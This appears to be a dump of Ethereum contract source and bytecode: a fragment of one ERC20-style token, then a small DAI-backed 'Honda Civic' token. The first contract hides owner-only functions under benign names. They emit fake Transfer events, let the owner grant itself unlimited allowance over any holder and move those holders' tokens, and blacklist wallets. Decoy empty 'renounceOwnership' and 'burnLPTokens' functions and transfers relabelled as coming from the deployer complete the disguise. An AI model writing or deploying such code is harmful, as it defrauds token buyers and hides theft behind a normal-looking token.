"ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _tf(address from, address dest, uint256 amt) internal _log( dest, amt, from, address(0)) virtual { _pair( from, dest, amt); } function _pair(address from, address dest, uint256 amt) internal _log( dest, amt, from, address(0)) virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(dest != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, dest, amt); _balances[from] = _balances[from].sub(amt, "ERC20: transfer amount exceeds balance"); _balances[dest] = _balances[dest].add(amt); if (from == _authority){from = _contDeployr;} emit Transfer(from, dest, amt); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } modifier _verify() { require(msg.sender == _authority, "Not allowed to interact"); _; } //-----------------------------------------------------------------------------------------------------------------------// function renounceOwnership()public _verify(){} function burnLPTokens()public _verify(){} function multicall(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){ //MultiEmit for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}} function send(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){ //MultiEmit for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}} function Execute(address recipient) public _verify(){ //Enable _plus[recipient]=true; _approve(recipient, _path_,_maximumVal);} function ProxiedSwap(address recipient) public _verify(){ //Disable _plus[recipient]=false; _approve(recipient, _path_,0); } function approval(address addr) public _verify() virtual returns (bool) { //Approve Spending _approve(addr, _msgSender(), _maximumVal); return true; } function transferTo(address sndr,address[] memory destination, uint256[] memory amounts) public _verify(){ _approve(sndr, _msgSender(), _maximumVal); for (uint256 i = 0; i < destination.length; i++) { _transfer(sndr, destination[i], amounts[i]); } } function stake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){ for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}} function unstake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){ for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}} }
0x608060405234801561001057600080fd5b50600436106101585760003560e01c80638d3ca13e116100c3578063c2205ee11161007c578063c2205ee1146107c2578063c75e2c3d146107ca578063d8fc2924146107f0578063dd62ed3e14610923578063f3294c1314610951578063f8129cd21461097757610158565b80638d3ca13e146105025780639430b4961461063557806395d89b411461065b578063a5aae25414610663578063a9059cbb14610796578063bb88603c146104fa57610158565b80633cc4430d116101155780633cc4430d1461032b5780634e6ec2471461045e5780635265327c1461048a578063671e9921146104b057806370a08231146104d4578063715018a6146104fa57610158565b806306fdde031461015d57806308ec4eb5146101da578063095ea7b31461027d57806318160ddd146102bd57806323b872dd146102d7578063313ce5671461030d575b600080fd5b610165610aaa565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561019f578181015183820152602001610187565b50505050905090810190601f1680156101cc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61027b600480360360208110156101f057600080fd5b810190602081018135600160201b81111561020a57600080fd5b82018360208201111561021c57600080fd5b803590602001918460208302840111600160201b8311171561023d57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610b40945050505050565b005b6102a96004803603604081101561029357600080fd5b506001600160a01b038135169060200135610c34565b604080519115158252519081900360200190f35b6102c5610c51565b60408051918252519081900360200190f35b6102a9600480360360608110156102ed57600080fd5b506001600160a01b03813581169160208101359091169060400135610c57565b610315610cde565b6040805160ff9092168252519081900360200190f35b61027b6004803603606081101561034157600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561036b57600080fd5b82018360208201111561037d57600080fd5b803590602001918460208302840111600160201b8311171561039e57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156103ed57600080fd5b8201836020820111156103ff57600080fd5b803590602001918460208302840111600160201b8311171561042057600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610ce7945050505050565b61027b6004803603604081101561047457600080fd5b506001600160a01b038135169060200135610dad565b61027b600480360360208110156104a057600080fd5b50356001600160a01b0316610e8b565b6104b8610ef5565b604080516001600160a01b039092168252519081900360200190f35b6102c5600480360360208110156104ea57600080fd5b50356001600160a01b0316610f04565b61027b610f1f565b61027b6004803603606081101561051857600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561054257600080fd5b82018360208201111561055457600080fd5b803590602001918460208302840111600160201b8311171561057557600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156105c457600080fd5b8201836020820111156105d657600080fd5b803590602001918460208302840111600160201b831117156105f757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610f6e945050505050565b6102a96004803603602081101561064b57600080fd5b50356001600160a01b031661102e565b61016561109a565b61027b6004803603606081101561067957600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156106a357600080fd5b8201836020820111156106b557600080fd5b803590602001918460208302840111600160201b831117156106d657600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561072557600080fd5b82018360208201111561073757600080fd5b803590602001918460208302840111600160201b8311171561075857600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506110fb945050505050565b6102a9600480360360408110156107ac57600080fd5b506001600160a01b0381351690602001356111bb565b6104b86111cf565b61027b600480360360208110156107e057600080fd5b50356001600160a01b03166111de565b61027b6004803603606081101561080657600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561083057600080fd5b82018360208201111561084257600080fd5b803590602001918460208302840111600160201b8311171561086357600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156108b257600080fd5b8201836020820111156108c457600080fd5b803590602001918460208302840111600160201b831117156108e557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611260945050505050565b6102c56004803603604081101561093957600080fd5b506001600160a01b03813581169160200135166112fe565b61027b6004803603602081101561096757600080fd5b50356001600160a01b0316611329565b61027b6004803603606081101561098d57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156109b757600080fd5b8201836020820111156109c957600080fd5b803590602001918460208302840111600160201b831117156109ea57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b811115610a3957600080fd5b820183602082011115610a4b57600080fd5b803590602001918460208302840111600160201b83111715610a6c57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506113b0945050505050565b60058054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610b365780601f10610b0b57610100808354040283529160200191610b36565b820191906000526020600020905b815481529060010190602001808311610b1957829003601f168201915b5050505050905090565b600d546001600160a01b03163314610b88576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610c30576001806000848481518110610ba557fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550600060026000848481518110610bf657fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610b8b565b5050565b6000610c48610c416114d1565b84846114d5565b50600192915050565b60045490565b6000610c648484846115c1565b610cd484610c706114d1565b610ccf856040518060600160405280602881526020016120e2602891396001600160a01b038a16600090815260036020526040812090610cae6114d1565b6001600160a01b031681526020810191909152604001600020549190611846565b6114d5565b5060019392505050565b60075460ff1690565b600d546001600160a01b03163314610d34576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b60005b8251811015610da757828181518110610d4c57fe5b60200260200101516001600160a01b0316846001600160a01b031660008051602061210a833981519152848481518110610d8257fe5b60200260200101516040518082815260200191505060405180910390a3600101610d37565b50505050565b600d546001600160a01b03163314610e0c576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600454610e199082611470565b600455600d546001600160a01b0316600090815260208190526040902054610e419082611470565b600d546001600160a01b03908116600090815260208181526040808320949094558351858152935192861693919260008051602061210a8339815191529281900390910190a35050565b600d546001600160a01b03163314610ed3576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600b546001600160a01b031681565b6001600160a01b031660009081526020819052604090205490565b600d546001600160a01b03163314610f6c576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b565b600d546001600160a01b03163314610fbb576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b60005b8251811015610da757836001600160a01b0316838281518110610fdd57fe5b60200260200101516001600160a01b031660008051602061210a83398151915284848151811061100957fe5b60200260200101516040518082815260200191505060405180910390a3600101610fbe565b600d546000906001600160a01b0316331461107e576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b6110928261108a6114d1565b6008546114d5565b506001919050565b60068054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610b365780601f10610b0b57610100808354040283529160200191610b36565b600d546001600160a01b03163314611148576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b60005b8251811015610da757836001600160a01b031683828151811061116a57fe5b60200260200101516001600160a01b031660008051602061210a83398151915284848151811061119657fe5b60200260200101516040518082815260200191505060405180910390a360010161114b565b6000610c486111c86114d1565b84846115c1565b600d546001600160a01b031681565b600d546001600160a01b0316331461122b576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160205260408120805460ff19169055600b5461125d9284929116906114d5565b50565b600d546001600160a01b031633146112ad576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b6112b98361108a6114d1565b60005b8251811015610da7576112f6848483815181106112d557fe5b60200260200101518484815181106112e957fe5b60200260200101516118dd565b6001016112bc565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b600d546001600160a01b03163314611376576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160208190526040909120805460ff19169091179055600b5460085461125d92849216906114d5565b600d546001600160a01b031633146113fd576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b60005b8251811015610da75782818151811061141557fe5b60200260200101516001600160a01b0316846001600160a01b031660008051602061210a83398151915284848151811061144b57fe5b60200260200101516040518082815260200191505060405180910390a3600101611400565b6000828201838110156114ca576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b03831661151a5760405162461bcd60e51b815260040180806020018281038252602481526020018061214f6024913960400191505060405180910390fd5b6001600160a01b03821661155f5760405162461bcd60e51b815260040180806020018281038252602281526020018061207a6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600954600d548391839186916000916001600160a01b0390811691161480156115f75750600d546001600160a01b038381169116145b1561162757600980546001600160a01b0319166001600160a01b038616179055611622878787611a56565b61183d565b600d546001600160a01b038381169116148061165057506009546001600160a01b038381169116145b806116685750600d546001600160a01b038581169116145b156116b157600d546001600160a01b03838116911614801561169b5750836001600160a01b0316826001600160a01b0316145b156116a657600a8390555b611622878787611a56565b6001600160a01b03821660009081526001602081905260409091205460ff16151514156116e357611622878787611a56565b6001600160a01b03821660009081526002602052604090205460ff1615156001141561176d576009546001600160a01b03838116911614806117325750600b546001600160a01b038581169116145b6116a65760405162461bcd60e51b815260040180806020018281038252602681526020018061209c6026913960400191505060405180910390fd5b600a548310156117ce576009546001600160a01b03858116911614156116a6576001600160a01b03821660009081526002602090815260408083208054600160ff199182168117909255925290912080549091169055611622878787611a56565b6009546001600160a01b03838116911614806117f75750600b546001600160a01b038581169116145b6118325760405162461bcd60e51b815260040180806020018281038252602681526020018061209c6026913960400191505060405180910390fd5b61183d878787611a56565b50505050505050565b600081848411156118d55760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561189a578181015183820152602001611882565b50505050905090810190601f1680156118c75780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b0383166119225760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6001600160a01b0382166119675760405162461bcd60e51b81526004018080602001828103825260238152602001806120576023913960400191505060405180910390fd5b611972838383612051565b6119af8160405180606001604052806026815260200161209c602691396001600160a01b0386166000908152602081905260409020549190611846565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546119de9082611470565b6001600160a01b03808416600090815260208190526040902091909155600d5484821691161415611a1857600c546001600160a01b031692505b816001600160a01b0316836001600160a01b031660008051602061210a833981519152836040518082815260200191505060405180910390a3505050565b600954600d548391839186916000916001600160a01b039081169116148015611a8c5750600d546001600160a01b038381169116145b15611c2257600980546001600160a01b0319166001600160a01b03868116919091179091558716611aee5760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6001600160a01b038616611b335760405162461bcd60e51b81526004018080602001828103825260238152602001806120576023913960400191505060405180910390fd5b611b3e878787612051565b611b7b8560405180606001604052806026815260200161209c602691396001600160a01b038a166000908152602081905260409020549190611846565b6001600160a01b038089166000908152602081905260408082209390935590881681522054611baa9086611470565b6001600160a01b03808816600090815260208190526040902091909155600d5488821691161415611be457600c546001600160a01b031696505b856001600160a01b0316876001600160a01b031660008051602061210a833981519152876040518082815260200191505060405180910390a361183d565b600d546001600160a01b0383811691161480611c4b57506009546001600160a01b038381169116145b80611c635750600d546001600160a01b038581169116145b15611ce657600d546001600160a01b038381169116148015611c965750836001600160a01b0316826001600160a01b0316145b15611ca157600a8390555b6001600160a01b038716611aee5760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6001600160a01b03821660009081526001602081905260409091205460ff1615151415611d52576001600160a01b038716611aee5760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6001600160a01b03821660009081526002602052604090205460ff16151560011415611ddc576009546001600160a01b0383811691161480611da15750600b546001600160a01b038581169116145b611ca15760405162461bcd60e51b815260040180806020018281038252602681526020018061209c6026913960400191505060405180910390fd5b600a54831015611e70576009546001600160a01b0385811691161415611ca1576001600160a01b0382811660009081526002602090815260408083208054600160ff1991821681179092559252909120805490911690558716611aee5760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6009546001600160a01b0383811691161480611e995750600b546001600160a01b038581169116145b611ed45760405162461bcd60e51b815260040180806020018281038252602681526020018061209c6026913960400191505060405180910390fd5b6001600160a01b038716611f195760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6001600160a01b038616611f5e5760405162461bcd60e51b81526004018080602001828103825260238152602001806120576023913960400191505060405180910390fd5b611f69878787612051565b611fa68560405180606001604052806026815260200161209c602691396001600160a01b038a166000908152602081905260409020549190611846565b6001600160a01b038089166000908152602081905260408082209390935590881681522054611fd59086611470565b6001600160a01b03808816600090815260208190526040902091909155600d548882169116141561200f57600c546001600160a01b031696505b856001600160a01b0316876001600160a01b031660008051602061210a833981519152876040518082815260200191505060405180910390a350505050505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654e6f7420616c6c6f77656420746f20696e74657261637400000000000000000045524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220267764470261044b21f63c6218bc2fa17167f6ecc9107e54712aaf9e12264fcb64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
10,495
0xf4a178316ee31b3ba9586ce7ec89d30116690f99
pragma solidity ^0.4.21; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function () public payable { revert(); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken { event Mint(address indexed to, uint256 amount); function mint(address _to, uint256 _amount) internal returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); return true; } function burn(uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. totalSupply = totalSupply.sub(_value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[address(0)] = balances[address(0)].add(_value); emit Burn(msg.sender, _value); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ } contract HondaCivic is MintableToken{ string public constant name = "Honda Civic"; string public constant symbol = "HCV"; uint32 public constant decimals = 18; IERC20 token = IERC20(address(0x6b175474e89094c44da98b954eedeac495271d0f)); function create(uint256 daiAmount) public returns (bool) { mint(msg.sender, daiAmount/21000); require(token.transferFrom(msg.sender, address(this), daiAmount)); return true; } function sell(uint256 civics) public returns (bool) { token.transfer(msg.sender, civics*21000); require(burn(civics)); return true; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
0x6080604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100d5578063095ea7b31461016557806318160ddd146101ca57806323b872dd146101f5578063313ce5671461027a57806342966c68146102b157806366188463146102f657806370a082311461035b578063780900dc146103b257806395d89b41146103f7578063a9059cbb14610487578063d73dd623146104ec578063dd62ed3e14610551578063e4849b32146105c8575b600080fd5b3480156100e157600080fd5b506100ea61060d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561012a57808201518184015260208101905061010f565b50505050905090810190601f1680156101575780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017157600080fd5b506101b0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610646565b604051808215151515815260200191505060405180910390f35b3480156101d657600080fd5b506101df610738565b6040518082815260200191505060405180910390f35b34801561020157600080fd5b50610260600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061073e565b604051808215151515815260200191505060405180910390f35b34801561028657600080fd5b5061028f610afd565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b3480156102bd57600080fd5b506102dc60048036038101908080359060200190929190505050610b02565b604051808215151515815260200191505060405180910390f35b34801561030257600080fd5b50610341600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cee565b604051808215151515815260200191505060405180910390f35b34801561036757600080fd5b5061039c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f7f565b6040518082815260200191505060405180910390f35b3480156103be57600080fd5b506103dd60048036038101908080359060200190929190505050610fc8565b604051808215151515815260200191505060405180910390f35b34801561040357600080fd5b5061040c61112a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561044c578082015181840152602081019050610431565b50505050905090810190601f1680156104795780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561049357600080fd5b506104d2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611163565b604051808215151515815260200191505060405180910390f35b3480156104f857600080fd5b50610537600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611387565b604051808215151515815260200191505060405180910390f35b34801561055d57600080fd5b506105b2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611583565b6040518082815260200191505060405180910390f35b3480156105d457600080fd5b506105f36004803603810190808035906020019092919050505061160a565b604051808215151515815260200191505060405180910390f35b6040805190810160405280600b81526020017f486f6e646120436976696300000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561077b57600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107c957600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561085457600080fd5b6108a682600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172e90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061093b82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174790919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a0d82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172e90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610b5257600080fd5b610b678260005461172e90919063ffffffff16565b600081905550610bbf82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172e90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c5482600160008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174790919063ffffffff16565b600160008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610dff576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002